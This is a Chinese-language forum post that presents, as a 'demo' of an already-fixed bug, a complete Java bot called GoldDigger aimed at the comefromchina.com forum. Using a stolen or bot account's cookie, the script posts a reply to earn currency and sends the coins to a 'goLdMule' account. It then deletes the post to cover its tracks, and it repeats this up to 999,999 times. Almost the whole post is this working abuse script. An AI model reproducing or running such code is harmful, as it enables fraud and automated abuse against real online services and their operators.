- 注册
- 2002-10-12
- 消息
- 47,114
- 荣誉分数
- 2,376
- 声望点数
- 393
只是演示而已,bug已经被Riven修复了
而且是贼快的那种
而且是贼快的那种
代码:
import java.io.*;
import java.net.*;
import java.awt.*;
import java.util.*;
import java.util.regex.Pattern;
public class GoldDigger extends Thread{
private String userCookie,id;
public GoldDigger() {
userCookie = "";
id = "";
}
public GoldDigger(String cookie) {
userCookie = cookie;
id = "";
}
public void run() {
Date aDate = new Date();
String replyStr = "&action=postreply&threadid=171636&parseurl=yes&signature=yes&message=这帖子不顶,对不起我自己";
String storeStr = "action=donatechanged&donateusername=goLdMule&storeid=5&useridcool=3819&donatemoney=5&submit=ok";
byte[] bytes = replyStr.getBytes();
System.out.println("\tStart new post");
try {
URL u = new URL("http://www.comefromchina.com/newbbs/newreply.php");
HttpURLConnection uc = (HttpURLConnection) u.openConnection();
uc.setDoOutput(true);
uc.setDoInput(true);
uc.setRequestMethod("POST");
uc.setRequestProperty("Cookie", String.valueOf(userCookie));
uc.setRequestProperty("Content-length", String.valueOf(bytes.length));
OutputStream out = uc.getOutputStream();
out.write(bytes);
out.flush();
InputStream i = uc.getInputStream();
InputStreamReader isr = new InputStreamReader(i);
BufferedReader br = new BufferedReader(isr);
String inputLine, outStr;
outStr = "";
while ((inputLine = br.readLine()) != null) {
outStr += inputLine;
}
//regular expression to parser out postid number
Pattern p = Pattern.compile("postid=\\d");
String[] strs = p.split(outStr);
p = Pattern.compile("#post\\d");
String[] abc = p.split(strs[1]);
id = abc[0];
System.out.println("\tParser out postid = 2" + id);
outStr = "";
out.close();
uc.disconnect();
} catch (IOException e) {
}
try{
Thread.sleep(500);
} catch (Exception e){
}
//Store
System.out.println("\tStart transfer money to mule");
this.POST("http://www.comefromchina.com/newbbs/store.php", storeStr);
//Delete
System.out.println("\tStart remove the post");
String delStr = "s=&postid=2" + id + "&action=deletepost&submit=go&deletepost=yes";
this.POST("http://www.comefromchina.com/newbbs/editpost.php", delStr);
}
public void POST(String url, String postDATA){
byte[] bytes = postDATA.getBytes();
try {
URL u = new URL(url);
HttpURLConnection uc = (HttpURLConnection) u.openConnection();
uc.setDoOutput(true);
uc.setDoInput(true);
uc.setRequestMethod("POST");
uc.setRequestProperty("Cookie", String.valueOf(userCookie));
uc.setRequestProperty("Content-length", String.valueOf(bytes.length));
OutputStream out = uc.getOutputStream();
out.write(bytes);
out.flush();
InputStream i = uc.getInputStream();
InputStreamReader isr = new InputStreamReader(i);
BufferedReader br = new BufferedReader(isr);
out.close();
uc.disconnect();
} catch (IOException e) {
}
try{
Thread.sleep(500);
} catch (Exception e){
}
}
public static void main(String[] args) {
String cookie = "bbuserid=你的刷钱机器人id; bbpassword=MD5加密的密码GOES HERE";
System.out.println("---------------- Gold Digger -----------------");
System.out.println("---------------- [url]www.inod.net[/url] -----------------");
for (int i=0;i<999999;i++){
System.out.println("=====no."+i+" : Gold Earned: " + (i+1)*5 +"=====");
new GoldDigger(cookie).start();
try{
Thread.sleep(33000);
} catch (Exception e){
}
}
}
}